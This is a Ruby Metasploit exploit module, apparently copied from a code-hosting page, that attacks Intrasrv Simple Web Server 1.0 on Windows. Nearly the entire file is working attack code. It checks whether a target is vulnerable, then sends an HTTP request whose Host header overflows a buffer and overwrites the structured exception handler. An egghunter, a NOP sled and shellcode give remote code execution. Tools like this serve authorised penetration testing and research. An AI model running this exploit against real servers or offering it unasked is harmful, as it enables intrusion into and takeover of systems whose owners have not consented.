107 lines
2.7 KiB
Ruby
107 lines
2.7 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Egghunter
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def initialize(info={})
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super(update_info(info,
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'Name' => "Intrasrv 1.0 Buffer Overflow",
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'Description' => %q{
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This module exploits a boundary condition error in Intrasrv
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Simple Web Server 1.0. The web interface does not validate the
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boundaries of an HTTP request string prior to copying the data
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to an insufficiently large buffer. Successful exploitation leads
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to arbitrary remote code execution in the context of the application.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'xis_one@STM Solutions', #Discovery, PoC
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'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
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],
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'References' =>
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[
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['OSVDB', '94097'],
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['EDB','18397'],
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['BID','60229']
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],
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'Payload' =>
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{
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'StackAdjustment' => -3500,
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'BadChars' => "\x00"
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "thread"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['v1.0 - XP/2003/Win7',
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{
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'Offset' => 1553,
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'Ret'=>0x004097dd #p/p/r - intrasrv.exe
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 30 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('RPORT', [true, 'The remote port', 80])
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], self.class)
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end
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def check
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begin
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connect
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rescue
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print_error("Could not connect to target!")
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return Exploit::CheckCode::Safe
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end
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sock.put("GET / HTTP/1.0\r\n")
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res = sock.get
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if res and res =~ /intrasrv 1.0/
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return Exploit::CheckCode::Vulnerable
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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# setup egghunter
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hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
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:checksum => true
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})
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# setup buffer
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buf = rand_text_alpha(target['Offset']-128) # junk to egghunter
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buf << make_nops(8) + hunter # nopsled + egghunter at offset-128
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buf << rand_text_alpha(target['Offset']-buf.length) # more junk to offset
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buf << "\xeb\x80\x90\x90" # nseh - jmp -128 to egghunter
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buf << [target.ret].pack("V*") # seh
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# attach egg tag to payload
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shellcode = egg + egg
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shellcode << payload.encoded
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print_status("Sending buffer...")
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connect
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sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{shellcode}")
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disconnect
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end
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end
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